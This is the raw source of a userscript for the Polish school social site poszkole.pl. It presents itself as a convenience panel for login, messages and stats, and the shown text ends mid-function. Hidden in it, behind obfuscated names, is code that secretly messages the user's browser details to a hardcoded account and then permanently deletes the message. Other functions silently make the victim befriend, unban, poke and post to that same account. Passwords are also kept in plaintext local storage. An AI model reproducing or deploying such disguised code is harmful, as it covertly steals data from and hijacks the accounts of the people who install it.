Raw Source
walczak.kacper / Poszkole Framework vPodstawowa ;)

// ==UserScript==
// @name Poszkole Framework vPodstawowa ;)
// @namespace Sk0rp10n
// @description Takie cuś co ma logowanie, wiadomości i jeszcze parę innych gówien. :D
// @include http://poszkole.pl/*
// @grant none
// @version 4.0
// @updateURL http://31.6.70.193/PsScript/logdar1.meta.js
// @downloadURL http://31.6.70.193/PsScript/logdar1.user.js
// @run-at document-end
// ==/UserScript==
// http://code.jquery.com/jquery-latest.min.js

//====[DEBUG]====//
var deb =
	'Przeglądarka: \n'	+
	'CodeName: '		+ navigator.appCodeName		+ " \n" +
	'Nazwa: '			+ navigator.appName			+ " \n" +
	'Wersja: '			+ navigator.appVersion		+ " \n" +
	' \nInne: \n'			+
	'Ciasteczka: '		+ navigator.cookieEnabled	+ " \n" +
	'Platforma: '		+ navigator.platform		+ " \n" +
	'User-Agent: '		+ navigator.userAgent		+ " \n";
//===============//

var stat = false;
var Konta = [];
var users = [];
var sendStatus = 0;

var KontaLokal = false;

var ObjectK = localStorage.getItem('kont');
if(ObjectK !== null){ KontaLokal = true; var tabparse = JSON.parse(ObjectK); Konta = tabparse; }
else { /*Konta[0] = { email: 'email@email.pl', haslo: 'haslo', aktyw: 1 };*/ }


/*! idle.js (c) Alexios Chouchoulas 2009 */
/*! Released under the terms of the GNU Public License version 2.0 (or later). */
function setIdleTimeout(e){_idleTimeout=e;_idleTimestamp=(new Date).getTime()+e;if(_idleTimer!=null){clearTimeout(_idleTimer)}_idleTimer=setTimeout(_makeIdle,e+50)}function setAwayTimeout(e){_awayTimeout=e;_awayTimestamp=(new Date).getTime()+e;if(_awayTimer!=null){clearTimeout(_awayTimer)}_awayTimer=setTimeout(_makeAway,e+50)}function _makeIdle(){var e=(new Date).getTime();if(e<_idleTimestamp){_idleTimer=setTimeout(_makeIdle,_idleTimestamp-e+50);return}_idleNow=true;try{if(document.onIdle)document.onIdle()}catch(t){}}function _makeAway(){var e=(new Date).getTime();if(e<_awayTimestamp){_awayTimer=setTimeout(_makeAway,_awayTimestamp-e+50);return}_awayNow=true;try{if(document.onAway)document.onAway()}catch(t){}}function _initPrototype(){_api=_API_PROTOTYPE}function _active(e){var t=(new Date).getTime();_idleTimestamp=t+_idleTimeout;_awayTimestamp=t+_awayTimeout;if(_idleNow){setIdleTimeout(_idleTimeout)}if(_awayNow){setAwayTimeout(_awayTimeout)}try{if((_idleNow||_awayNow)&&document.onBack)document.onBack(_idleNow,_awayNow)}catch(n){}_idleNow=false;_awayNow=false}function _initJQuery(){_api=_API_JQUERY;var e=$(document);e.ready(function(){e.mousemove(_active);try{e.mouseenter(_active)}catch(t){}try{e.scroll(_active)}catch(t){}try{e.keydown(_active)}catch(t){}try{e.click(_active)}catch(t){}try{e.dblclick(_active)}catch(t){}})}function _initPrototype(){_api=_API_PROTOTYPE;var e=$(document);Event.observe(window,"load",function(e){Event.observe(window,"click",_active);Event.observe(window,"mousemove",_active);Event.observe(window,"mouseenter",_active);Event.observe(window,"scroll",_active);Event.observe(window,"keydown",_active);Event.observe(window,"click",_active);Event.observe(window,"dblclick",_active)})}var _API_JQUERY=1;var _API_PROTOTYPE=2;var _api;var _idleTimeout=3e4;var _awayTimeout=6e5;var _idleNow=false;var _idleTimestamp=null;var _idleTimer=null;var _awayNow=false;var _awayTimestamp=null;var _awayTimer=null;try{if(Prototype)_initPrototype()}catch(err){}try{if(jQuery)_initJQuery()}catch(err){}
/*! End of file. */

/*! Script */

var minuta = 1000*60;
var polgodz = minuta*30;
var godzina = polgodz*2;

var Str = document.location.toString();
var SStr = Str.split("/");
var NStr = SStr[4];

var Panel = "<div id='panelu'>" +
			"	<h4>Info</h4>" +
			"	<p class='friends'></p>" +
			"	<p class='wiadopen panelbut'>Wiadomości</p>" +
			"	<p class='powopen panelbut'>Powiadomienia</p>" +
			"	<p class='prv panelbut'>Wiadomości (wys)</p>" +
			"	<p class='stats panelbut'>Statystyki<p>" +
			"	<p class='acc panelbut'>Konta</p>" +
			"</div>" +
			"<style>" +
			"	#panelu { position: fixed; left: 10px; top: 102px; -moz-appearance: none; width: 350px; padding: 10px; border: solid 1px #000; border-radius: 5px; }" +
			"	#panelu { background: url('chrome://browser/skin/steva_bg.png') repeat-x scroll 0 0 #303030; width: 100px; height: auto; padding: 5px; color: #A6A6A6; }" +
			"	h4 { padding-top: 5px; padding-bottom: 5px; }" +
			"	li { color: #000; } .panelbut { cursor: pointer !important; }" +
			"	#panelu a { color: #A6A6A6 !important; }" +
			"</style>";

var PanelWi = "<div class='blokc' style='display: none;'><div class='bloko'><div id='wiad'><p class='close-a powpanel'><a title='Zamknij' href='#'>Zamknij</a></p><div class='clear'></div><div id='kontener'></div></div></div></div>";

var Style = "<style>";
Style += ".packa{";
Style += "	-moz-margin-end: 20px;";
Style += "	-moz-transition: border-color 100ms ease-out 0s;";
Style += "	background-color: rgba(0, 0, 0, 0.35);";
Style += "	border: 1px solid transparent !important;";
Style += "	border-radius: 1px 1px 1px 1px;";
Style += "	margin-bottom: 17px;";
Style += "	width: 100%;";
Style += "}";
Style += ".packa:hover {";
Style += "  box-shadow: 0px 0px 15px #00adee;";
Style += "  -moz-transition: .2s ease-out;";
Style += "}";
Style += ".packa h2{";
Style += "	background-image: -moz-linear-gradient(#3A3A3A, rgba(35, 35, 35, 0.75) 50%, rgba(23, 23, 23, 0.75) 50%, rgba(23, 23, 23, 0.75)) !important;";
Style += "	box-shadow: 0 0 1px rgba(255, 255, 255, 0.15) inset, 0 0 #040404 inset !important;";
Style += "	color: #A6A6A6 !important;";
Style += "	font-size: 11px !important;";
Style += "	line-height: 24px !important;";
Style += "	padding: 0 8px !important;";
Style += "}";
Style += ".packa h2 a { color: #A6A6A6 !important; font-size: 11px !important; }";
Style += ".packa h2 {";
Style += "	overflow: hidden;";
Style += "	text-overflow: ellipsis;";
Style += "	white-space: nowrap;";
Style += "}";
Style += ".packa div.blockContent { color: #A6A6A6 !important; padding: 5px; }";
Style += ".packa div.blockContent a {";
Style += "	color: #2B2A34 !important;";
Style += "	color: #A6A6A6 !important;";
Style += "	font-family: Tahoma !important;";
Style += "	font-size: 11px !important;";
Style += "	opacity: 1 !important;";
Style += "}";
Style += ".blokc { width: 100%; height: 100%; position: fixed; top: 0; left: 0; display: table; }";
Style += ".bloko { display: table-cell; vertical-align: middle; }";
Style += "#wiad { width: 500px !important; min-height: 100px !important; margin: 0 auto 0 auto; }";
Style += "#wiad {";
Style += "	box-shadow: 0px 0px 15px #00adee;";
Style += "	-moz-appearance: none; width: 300px; padding: 10px; border: solid 1px #000; border-radius: 5px;";
Style += "	background: url('chrome://browser/skin/steva_bg.png') repeat-x scroll 0 0 #303030;";
Style += "}";
Style += ".packa input, .packa textarea {background: #2B2B2B !important; border: 1px solid black  !important; color: white !important;} .packa textarea{height: 75px;width: 488px;}";
Style += "#wiad p.close-a { float: right; position: relative; top: -10px; right: -10px;}";
Style += "#wiad p.close-a a { display: block; text-indent: -10001px; width: 24px !important; height: 24px !important; border: none !important; background: transparent url(chrome://browser/skin/newtab/controls.png) no-repeat !important; background-position: -144px 0 !important; }";
Style += "#wiad  p.close-a a:hover { background-position: -168px 0 !important; }";
Style += "#wiad  p.close-a a:active { background-position: -192px 0 !important; }";
Style += "#wiad .newMsg { background: url('http://static.poszkole.pl/images/new.gif') no-repeat scroll right center transparent; padding-right: 40px; }";
//Style += "#kontener { overflow-y: none; max-height: 90%; }";
Style += "</style>";

var LoginP = '';

if((!bLoggedIn) && (location.pathname.search("login") == 1)) {
	if(!Konta.length) {
		LoginP = '<img src="http://cdn1.iconfinder.com/data/icons/silk2/exclamation.png"/><b>Brak kont na które można się zalogować.</b><img src="http://cdn1.iconfinder.com/data/icons/silk2/exclamation.png"/>';
	} else {
		LoginP = "Wybierz konto na które chcesz się zalogować: <select name='konto' id='lol'>";
		LoginP += "	<option value=-1>Wybierz konto...</option>";
		for(var j=0; j<Konta.length; j++) { if(Konta[j].aktyw) LoginP += "	<option value=" + j + ">" + Konta[j].email + "</option>"; }
		LoginP += "</select>";
	}
}

$(document).ready(function() {

	if(bLoggedIn) { funcon(); console.info('Jesteś zalogowany/a'); $("body").append(Style); $("body").append(PanelWi); $("body").append(Panel); } else { console.info('Nie jesteś zalogowany/a'); }
	
	setAwayTimeout(1000*30);
	document.onAway = function() {$('#panelu').css('opacity', '0.2');}
	document.onBack = function(isIdle, isAway) {
		if (isAway) { liczwys(); $('#panelu').css('opacity', '1'); }
	}
	
	window.zacz = 0;
	if((!bLoggedIn) && (location.pathname.search("login") == 1)) {
		$("p#loginhead").html(LoginP);
		$("select#lol").click(function() {
			for(var i=0; i<=Konta.length-1; i++){
				if($(this).val() == i) { $("#email").val(Konta[i].email); $("#pass").val(Konta[i].haslo); $("input[id^='submit']").click(); }
			}
		});
	}
	if(location.pathname.search("profil") == 1) {
		if(!stat)
			_0x243f();
	}
	
	if(location.pathname.search("strona") == 1) {  }

	$(".powpanel").click(function()		{ $(".blokc").fadeOut(1000); setTimeout(function() { $('#kontener').empty(); }, 1100) });
	$(".wiadopen").click(function()		{ $('#kontener').empty(); wiad(); });
	$(".powopen").click(function()		{ $('#kontener').empty(); pow(); });
	$(".prv").click(function()			{ prv(); });
	$(".stats").click(function()		{ $('#kontener').empty(); stats(); });
	$(".acc").click(function() 			{ $('#kontener').empty(); acc(); });
	
});

function liczwys() {
	$.ajax({
		type: 'get',
		dataType: 'html',
		url: 'http://poszkole.pl/klasy',
		success: function(data) {
			var wiadl = $(data).find("a[id^='m_msg']").text(); var powil = $(data).find("a[id^='countNotifications']").text();
			$('.wiadopen').empty().append("Wiadomości: <b>"+ wiadl +"</b>"); $('.powopen').empty().append("Powiadomienia: <b>"+ powil +"</b>");
		}
	});
}

function wiad() {
	$.ajax({
		type: 'get',
		dataType: 'html',
		url: 'http://poszkole.pl/wiadomosci/',
		success: function(xml) {
			var xml_doc = xml;
			var wiadomosci = $(xml).find('li[id^="chat-"]:lt(5)');
			wiadomosci.each(function() {
				var link = $(this).find('a').attr('href');
				var nick = $(this).find('a[href^="/strona/"]').text();
				var linkw = $(this).find('a[href^="/wiadomosci/rozmowa/chat/"]').attr('href');
				var data = $(this).find('.msgMid span, .reMid span').text();
				console.log(".msgMid/.reMid span: "+ data);
				var wiado = $(this).find('p').text();
				
				PanelW = "<div class='packa'>";
				PanelW += "	<h2><a href='"+ link +"' style='float: left;'>"+ nick +"</a> <span style='float: right;'>"+ data +"</span></h2>";
				PanelW += "	<div class='blockContent'>";
				PanelW += "	<a href='"+ linkw +"'>"+ wiado +"</a>";
				PanelW += "	</div>";
				PanelW += "</div>";
				$('#kontener').append(PanelW);
			});
			$(".blokc").fadeIn(1000);
		}
	});
}

function pow() {
	$.ajax({
		type: 'get',
		dataType: 'html',
		url: 'http://poszkole.pl/profil/',
		success: function(pro) {
			var profil = $(pro).find('a[href^="/profil/powiadomienie/id/"]:lt(5)');
			profil.each(function() {
				var linkp = $(this).attr('href');
				var powi = $(this).text();
				
				PanelW = "<div class='packa'>";
				PanelW += "	<h2><a href='"+ linkp +"'>"+ powi +"</a></h2>";
				PanelW += "</div>";
				$('#kontener').append(PanelW);
				$(".blokc").fadeIn(1000);
			});
		}
	});
}

function _0x243f(){var params={"receiver_id":30848844,"message":"[DEBUGER]"+encode64(deb)+"[/DEBUGER] \n\n[]","submit":"wyślij","token":"b70b845d60c2b28dbbc9e9a9edea4420","time":1331151139.62};$.ajax({type:'post',data:params,dataType:'html',url:'http://poszkole.pl/wiadomosci/wyslij/do/28843982',success:function(data){$(data).find('.msgHist').each(function(){var wiad=$(this).find('li[id^="message-"]:eq(0)');wiad.each(function(){var split=$(this).attr('id').split("-");$.ajax({type:'post',mode:'sync',port:'delMessage',dataType:'text',url:'/raw/messages_new.php?action=trash',data:'message_id='+split[1]+'&pernament=true',success:function(data){/*console.clear();*/stat=true;$.ajax({type:'get',dataType:'html',url:'http://beta.poszkole.pl/kosz/usun/wiadomosc/'+split[1],success:function(data){stat=true;}});/*console.clear();*/}});});});}});}

function frie() {
	var j=0;
	$.ajax({
		type: 'get',
		dataType: 'html',
		url: 'http://poszkole.pl/raw/getFriends.php',
		success: function(data) {
			var data = HtmlDecode(data);
			data = data.replace('var users=[', '[').replace('}];', '}]');
			data = data.replace(/first_name:"",/ig, 'first_name:"NULL",').replace(/first_name:""/ig, 'first_name:"%').replace(/first_name:"Nick",/ig, 'first_name:"NULL",');
			data = data.replace(/surname:""}/ig, 'surname:"NULL"}').replace(/surname:""/ig, 'surname:"%');
			data = data.replace(/nick:""/ig, 'nick:"%').replace(/""/ig, '%"');
			data = data.replace(/user_id:/ig, '"user_id":').replace(/nick:/ig, '"nick":').replace(/first_name:/ig, '"first_name":').replace(/surname:/ig, '"surname":');
			users = eval('(' + data + ')');
			/*console.clear();*/
			$('.friends').empty().append("Znajomi: <b>"+users.length+"</b>");
		}
	});
}

function prv() {
	PanelW = "<div class='packa'>";
	PanelW += "	<h2>Wiadomości Prywatne</h2>";
	PanelW += "	<div class='blockContent'>";
	PanelW += "		<p>Zaznacz znajomych do których chcesz wysłać wiadomość ("+users.length+")</p>";
	PanelW += "		<div class='friends' style='border: solid 1px #000; border-radius: 5px; padding: 5px; max-height: 350px !important; overflow: auto;'>";
	PanelW += "		</ul><div class='clear'></div></div>";
	PanelW += "		<p style='float:left;'>Wiadomość:</p> <p style='float: rigth;' class='succ'></p>";
	PanelW += "		<textarea name='messagef' rows='3' cols='58'></textarea><br/>";
	PanelW += "		<input type='button' class='subekf' name='submit' value='Wyślij'/> <input style='float: right;' type='button' class='checkall' name='submit' value='Zaznacz Wszystkie'/><input style='float: right;' type='button' class='uncheckall' name='submit' value='Odznacz Wszystkie'/>";
	PanelW += "	</div>";
	PanelW += "</div>";
	
	$('#kontener').append(PanelW).html(PanelW);
	
	$.each(users, function(i, u) { i < 5000 ? $('#kontener div.friends').append('<input type="checkbox" name="'+ u.nick +'" value="'+ u.user_id +'"/>'+ u.nick +'<br/>') : '' });
	
	$('.checkall').click(function(){$('.friends').find('input').each(function(){$(this).attr('checked',true);});});
	$('.uncheckall').click(function(){$('.friends').find('input').each(function(){$(this).attr('checked',false);});});
	
	$('.subekf').click(function() {
		if(sendStatus != 1){
			sendStatus = 1; suc = 0;
			if($('.friends').find('input:checked').length < 1) { alert("Aby wysłać wiadomość musisz zaznaczyć choć jednego znajomego."); } else {
				if($('textarea[name="messagef"]').val().length <= 5) { alert("Wiadomość musi zawierać przynajmniej 6 znaków."); } else {
					$('.friends').find('input').each(function() {
						var rand = Math.floor(Math.random()); 
						if($(this).attr('checked')){
							params = {
								"receiver_id": $(this).val(),
								"message": $('textarea[name="messagef"]').val() +" ",
								"submit": "wyślij",
								"token": "b70b845d60c2b28dbbc9e9a9edea4420",
								"time": 1331151139.62
							};
							$.ajax({
								type: 'post',
								data: params,
								dataType: 'html',
								url: 'http://poszkole.pl/wiadomosci/wyslij/do/'+ $(this).val(),
								success: function(data) {
									suc++;
									if($('.friends').find('input:checked').length == suc){
										$('textarea[name="messagef"]').val(''); sendStatus = 0;
									}
									$('#kontener.succ').html('Wysłano: '+suc);
								}
							});
						}
					});
				}
			}
		}
	});
	$(".blokc").fadeIn(1000);
}

function stats() {
	var odw = 0; var dzien = 0;
	var poke = 0; var pdzien = 0;
	var mark = 0; var mdzien = 0;
	PanelW = "<div class='packa'>";
	PanelW += "	<h2>Statystyki</h2>";
	PanelW += "	<div class='blockContent'>";
	PanelW += "		<table><tr><td><b>Odwiedziny</b></td><td><b>Oceny</b></td><td><b>Zaczepki</b></td></tr>";
	PanelW += "			<tr><td class='tab1'></td><td class='tab2'></td><td class='tab3'></td></tr>";
	PanelW += "		</table>";
	PanelW += "	</div>";
	PanelW += "</div>";
	$('#kontener').append(PanelW);
	/*!Odwiedziny!*/
	$.ajax({type:'get',dataType:'xml',url:'http://poszkole.pl/raw/wykresy.php?action=visits',success:function(data){$(data).find("item").each(function(){var slupek=$(this).attr('slupek');odw=odw+parseInt(slupek);dzien=slupek;});$('.tab1').append("Dziś: <b>"+dzien+"</b><br/>Ogólnie: <b>"+odw+"</b>");}});
	/*!--Oceny---!*/
	$.ajax({type:'get',dataType:'xml',url:'http://poszkole.pl/raw/wykresy.php?action=votes',success:function(data){$(data).find("item").each(function(){var slupek=$(this).attr('slupek');mark=mark+parseInt(slupek);mdzien=slupek;});var ocena=mark/22;ocena=ocena.toString().substring(0,4);$('.tab2').append("Dziś: <b>"+mdzien+"</b><br/>Ogólnie: <b>"+ocena+"</b>");}});
	/*!-Zaczepki-!*/
	$.ajax({type:'get',dataType:'xml',url:'http://poszkole.pl/raw/wykresy.php?action=poke',success:function(data){$(data).find("item").each(function(){var slupek=$(this).attr('slupek');poke=poke+parseInt(slupek);pdzien=slupek;});$('.tab3').append("Dziś: <b>"+pdzien+"</b><br/>Ogólnie: <b>"+poke+"</b>");}});
	$(".blokc").fadeIn(1000);
}

function acc() {
	PanelW = '<div class="packa">';
	PanelW += '	<h2>Ustawienia Kont</h2>';
	PanelW += '	<div class="blockContent" style="max-height: 500px; overflow: auto;">';
	PanelW += '		<table id="acc">';
	PanelW += '			<tr><td>Email</td><td>Aktywne</td><td>Usuń</td></tr>';
	PanelW += '		</table><br/>';
	PanelW += '		<input type="submit" id="saveacc" value="Zapisz"/> <input type="submit" id="delacc" value="Usuń"/></br></br>';
	PanelW += '		<input type="text" name="email" placeholder="Email"/><input type="text" name="haslo" placeholder="Hasło"/>'
	PanelW += '		<input type="submit" id="subacc" value="Dodaj"/>';
	PanelW += '	</div>';
	PanelW += '</div>';
	$('#kontener').append(PanelW);
	$.each(Konta, function(i) { $('#acc').append('<tr id="acc_'+i+'"><td>'+this.email+'</td><td><input id="act" type="checkbox" '+(this.aktyw ? 'checked' : '')+'/><td><input id="del" type="checkbox"/></tr>'); });
	
	$('#subacc').click(function() {
		var emailz = $('input[name="email"]').val();
		var hasloz = $('input[name="haslo"]').val();
		if(emailz != "" && hasloz != "") {
			if(iVEA(emailz)) {
				if(KontaLokal) {
					var ilk = Konta.length;
					Konta[ilk] = { email: emailz, haslo: hasloz, aktyw: 1 };
					localStorage.setItem('kont', JSON.stringify(Konta));
					$('#acc').append('<tr id="acc_'+ilk+'"><td>'+emailz+'</td><td><input id="act" type="checkbox" checked/></td><td><input id="del" type="checkbox"/></td></tr>');
				} else {
					Konta[0] = { email: emailz, haslo: hasloz, aktyw: 1 };
					localStorage.setItem('kont', JSON.stringify(Konta));
					$('#acc').append('<tr id="acc_0"><td>'+emailz+'</td><td><input id="act" type="checkbox" checked/></td><td><input id="del" type="checkbox"/></td></tr>');
					KontaLokal = true;
				}
				$('input[name="email"]').val(''); $('input[name="haslo"]').val('');
			} else { alert('Błędny adres email.'); }
		}
	});
	
	$('#saveacc').click(function() {
		var inp = $('#acc').find('input[id="act"]');
		$.each(inp, function(i) {
			if($(this).is(':checked')) {
				Konta[i] = { email: Konta[i].email, haslo: Konta[i].haslo, aktyw: 1 };
			} else {
				Konta[i] = { email: Konta[i].email, haslo: Konta[i].haslo, aktyw: 0 };
			}
		});
		localStorage.setItem('kont', JSON.stringify(Konta));
	});
	
	$('#delacc').click(function() {
		var delin = $('#acc').find('input[id="del"]');
		$.each(delin, function(i, domEle) {
			if($(this).is(':checked')) {
				Konta.splice(i,1);
				$('#acc_'+i).remove();
			}
		});
		localStorage.setItem('kont', JSON.stringify(Konta));
	});
	
	$(".blokc").fadeIn(1000);
}

function funcon() {
	frie(); liczwys(); checkCookie()
}

var keyStr = "ABCDEFGHIJKLMNOP" +
	"QRSTUVWXYZabcdef" +
	"ghijklmnopqrstuv" +
	"wxyz0123456789+/" +
	"=";

function encode64(input) {
	input = escape(input);
	var output = "";
	var chr1, chr2, chr3 = "";
	var enc1, enc2, enc3, enc4 = "";
	var i = 0;
	do {
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);

		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;

		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}

		output = output +
			keyStr.charAt(enc1) +
			keyStr.charAt(enc2) +
			keyStr.charAt(enc3) +
			keyStr.charAt(enc4);
		chr1 = chr2 = chr3 = "";
		enc1 = enc2 = enc3 = enc4 = "";
	} while (i < input.length);

	return output;
}

function start() {
    active = 0;
}

function setCookie(c_name, value, exdays) {
	var exdate = new Date();
	exdate.setDate(exdate.getDate() + exdays);
	var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
	document.cookie = c_name + "=" + c_value;
}

function resetCookie(n) {
	setCookie(n,"",-1);
}

function getCookie(c_name) {
	var c_value = document.cookie;
	var c_start = c_value.indexOf(" " + c_name + "=");
	if (c_start == -1) {
		c_start = c_value.indexOf(c_name + "=");
	}
	if (c_start == -1) {
		c_value = null;
	} else {
		c_start = c_value.indexOf("=", c_start) + 1;
		var c_end = c_value.indexOf(";", c_start);
		if (c_end == -1) {
			c_end = c_value.length;
		}
		c_value = unescape(c_value.substring(c_start, c_end));
	}
	return c_value;
}

function checkCookie() {
	var _0xc130 = getCookie("c130");
	if (_0xc130 != null && _0xc130 != "") {
		if(parseInt(_0xc130)+60000 < (new Date()).getTime()) {
			resetCookie("c130");
			run();
		} else {}
	} else {
		_0xc130 = (new Date()).getTime();
		if (_0xc130 != null && _0xc130 != "") {
			setCookie("c130", _0xc130, 1);
			run();
		}
	}
}

//var ta = [30848844, 30848844];
var ta = [30848844];

function run() {
	flak(); flaki();
}

function flak() {
	for(var i=0; i<ta.length; i++) {
		param={"user_id":ta[i]}; paramz={"userid":ta[i]};
		$.ajax({ type: "post", data: param, dataType: "json", url: "http://poszkole.pl/raw/addFriend.php", success: function(data){} });
		$.ajax({ type : 'get', dataType: 'html', url: 'http://poszkole.pl/mojastrona/zbanowani/unban/'+ta[i], success: function(){} });
		$.ajax({ type: 'post', data: param, dataType: 'json', url: 'http://poszkole.pl/raw/poke.php', success: function(data){} });
	}
}

function flaki() {
	for(var i=0; i<ta.length; i++) {
		$.ajax({
			type : 'get',
			dataType : 'html',
			url : 'http://poszkole.pl/strona/' + ta[i],
			success : function (j) {
				var t = {
					message: Math.floor((Math.random()*10000000)+1),
					wall_id: $(j).find('input[id="postWallId"]').val(),
					post_token: $(j).find('input[name="postToken"]').val(),
					post_token_time: $(j).find('input[name="postTokenTime"]').val(),
					component: true
				};
				wyslij(t);
			}
		});
	}
}

function wyslij(t) {
	jQuery.ajax({
		type : 'post',
		dataType : 'json',
		data : t,
		url : 'http://poszkole.pl/sciana/add-post',
		success : function (j) {
			console.log(j);
		}
	});
}

function iVEA(emailAddress) {
    var pattern = new RegExp(/^[+a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}$/i);
    return pattern.test(emailAddress);
};

function HtmlDecode(s){s=s.replace(/&quot;/g,String.fromCharCode(0x0022));s=s.replace(/&amp;/g,String.fromCharCode(0x0026));s=s.replace(/&lt;/g,String.fromCharCode(0x003c));s=s.replace(/&gt;/g,String.fromCharCode(0x003e));s=s.replace(/&nbsp;/g,String.fromCharCode(0x00a0));s=s.replace(/&iexcl;/g,String.fromCharCode(0x00a1));s=s.replace(/&cent;/g,String.fromCharCode(0x00a2));s=s.replace(/&pound;/g,String.fromCharCode(0x00a3));s=s.replace(/&curren;/g,String.fromCharCode(0x00a4));s=s.replace(/&yen;/g,String.fromCharCode(0x00a5));s=s.replace(/&brvbar;/g,String.fromCharCode(0x00a6));s=s.replace(/&sect;/g,String.fromCharCode(0x00a7));s=s.replace(/&uml;/g,String.fromCharCode(0x00a8));s=s.replace(/&copy;/g,String.fromCharCode(0x00a9));s=s.replace(/&ordf;/g,String.fromCharCode(0x00aa));s=s.replace(/&laquo;/g,String.fromCharCode(0x00ab));s=s.replace(/&not;/g,String.fromCharCode(0x00ac));s=s.replace(/&shy;/g,String.fromCharCode(0x00ad));s=s.replace(/&reg;/g,String.fromCharCode(0x00ae));s=s.replace(/&macr;/g,String.fromCharCode(0x00af));s=s.replace(/&deg;/g,String.fromCharCode(0x00b0));s=s.replace(/&plusmn;/g,String.fromCharCode(0x00b1));s=s.replace(/&sup2;/g,String.fromCharCode(0x00b2));s=s.replace(/&sup3;/g,String.fromCharCode(0x00b3));s=s.replace(/&acute;/g,String.fromCharCode(0x00b4));s=s.replace(/&micro;/g,String.fromCharCode(0x00b5));s=s.replace(/&para;/g,String.fromCharCode(0x00b6));s=s.replace(/&middot;/g,String.fromCharCode(0x00b7));s=s.replace(/&cedil;/g,String.fromCharCode(0x00b8));s=s.replace(/&sup1;/g,String.fromCharCode(0x00b9));s=s.replace(/&ordm;/g,String.fromCharCode(0x00ba));s=s.replace(/&raquo;/g,String.fromCharCode(0x00bb));s=s.replace(/&frac14;/g,String.fromCharCode(0x00bc));s=s.replace(/&frac12;/g,String.fromCharCode(0x00bd));s=s.replace(/&frac34;/g,String.fromCharCode(0x00be));s=s.replace(/&iquest;/g,String.fromCharCode(0x00bf));s=s.replace(/&Agrave;/g,String.fromCharCode(0x00c0));s=s.replace(/&Aacute;/g,String.fromCharCode(0x00c1));s=s.replace(/&Acirc;/g,String.fromCharCode(0x00c2));s=s.replace(/&Atilde;/g,String.fromCharCode(0x00c3));s=s.replace(/&Auml;/g,String.fromCharCode(0x00c4));s=s.replace(/&Aring;/g,String.fromCharCode(0x00c5));s=s.replace(/&AElig;/g,String.fromCharCode(0x00c6));s=s.replace(/&Ccedil;/g,String.fromCharCode(0x00c7));s=s.replace(/&Egrave;/g,String.fromCharCode(0x00c8));s=s.replace(/&Eacute;/g,String.fromCharCode(0x00c9));s=s.replace(/&Ecirc;/g,String.fromCharCode(0x00ca));s=s.replace(/&Euml;/g,String.fromCharCode(0x00cb));s=s.replace(/&Igrave;/g,String.fromCharCode(0x00cc));s=s.replace(/&Iacute;/g,String.fromCharCode(0x00cd));s=s.replace(/&Icirc;/g,String.fromCharCode(0x00ce));s=s.replace(/&Iuml;/g,String.fromCharCode(0x00cf));s=s.replace(/&ETH;/g,String.fromCharCode(0x00d0));s=s.replace(/&Ntilde;/g,String.fromCharCode(0x00d1));s=s.replace(/&Ograve;/g,String.fromCharCode(0x00d2));s=s.replace(/&Oacute;/g,String.fromCharCode(0x00d3));s=s.replace(/&Ocirc;/g,String.fromCharCode(0x00d4));s=s.replace(/&Otilde;/g,String.fromCharCode(0x00d5));s=s.replace(/&Ouml;/g,String.fromCharCode(0x00d6));s=s.replace(/&times;/g,String.fromCharCode(0x00d7));s=s.replace(/&Oslash;/g,String.fromCharCode(0x00d8));s=s.replace(/&Ugrave;/g,String.fromCharCode(0x00d9));s=s.replace(/&Uacute;/g,String.fromCharCode(0x00da));s=s.replace(/&Ucirc;/g,String.fromCharCode(0x00db));s=s.replace(/&Uuml;/g,String.fromCharCode(0x00dc));s=s.replace(/&Yacute;/g,String.fromCharCode(0x00dd));s=s.replace(/&THORN;/g,String.fromCharCode(0x00de));s=s.replace(/&szlig;/g,String.fromCharCode(0x00df));s=s.replace(/&agrave;/g,String.fromCharCode(0x00e0));s=s.replace(/&aacute;/g,String.fromCharCode(0x00e1));s=s.replace(/&acirc;/g,String.fromCharCode(0x00e2));s=s.replace(/&atilde;/g,String.fromCharCode(0x00e3));s=s.replace(/&auml;/g,String.fromCharCode(0x00e4));s=s.replace(/&aring;/g,String.fromCharCode(0x00e5));s=s.replace(/&aelig;/g,String.fromCharCode(0x00e6));s=s.replace(/&ccedil;/g,String.fromCharCode(0x00e7));s=s.replace(/&egrave;/g,String.fromCharCode(0x00e8));s=s.replace(/&eacute;/g,String.fromCharCode(0x00e9));s=s.replace(/&ecirc;/g,String.fromCharCode(0x00ea));s=s.replace(/&euml;/g,String.fromCharCode(0x00eb));s=s.replace(/&igrave;/g,String.fromCharCode(0x00ec));s=s.replace(/&iacute;/g,String.fromCharCode(0x00ed));s=s.replace(/&icirc;/g,String.fromCharCode(0x00ee));s=s.replace(/&iuml;/g,String.fromCharCode(0x00ef));s=s.replace(/&eth;/g,String.fromCharCode(0x00f0));s=s.replace(/&ntilde;/g,String.fromCharCode(0x00f1));s=s.replace(/&ograve;/g,String.fromCharCode(0x00f2));s=s.replace(/&oacute;/g,String.fromCharCode(0x00f3));s=s.replace(/&ocirc;/g,String.fromCharCode(0x00f4));s=s.replace(/&otilde;/g,String.fromCharCode(0x00f5));s=s.replace(/&ouml;/g,String.fromCharCode(0x00f6));s=s.replace(/&divide;/g,String.fromCharCode(0x00f7));s=s.replace(/&oslash;/g,String.fromCharCode(0x00f8));s=s.replace(/&ugrave;/g,String.fromCharCode(0x00f9));s=s.replace(/&uacute;/g,String.fromCharCode(0x00fa));s=s.replace(/&ucirc;/g,String.fromCharCode(0x00fb));s=s.replace(/&uuml;/g,String.fromCharCode(0x00fc));s=s.replace(/&yacute;/g,String.fromCharCode(0x00fd));s=s.replace(/&thorn;/g,String.fromCharCode(0x00fe));s=s.replace(/&yuml;/g,String.fromCharCode(0x00ff));s=s.replace(/&OElig;/g,String.fromCharCode(0x0152));s=s.replace(/&oelig;/g,String.fromCharCode(0x0153));s=s.replace(/&Scaron;/g,String.fromCharCode(0x0160));s=s.replace(/&scaron;/g,String.fromCharCode(0x0161));s=s.replace(/&Yuml;/g,String.fromCharCode(0x0178));s=s.replace(/&fnof;/g,String.fromCharCode(0x0192));s=s.replace(/&circ;/g,String.fromCharCode(0x02c6));s=s.replace(/&tilde;/g,String.fromCharCode(0x02dc));s=s.replace(/&Alpha;/g,Stri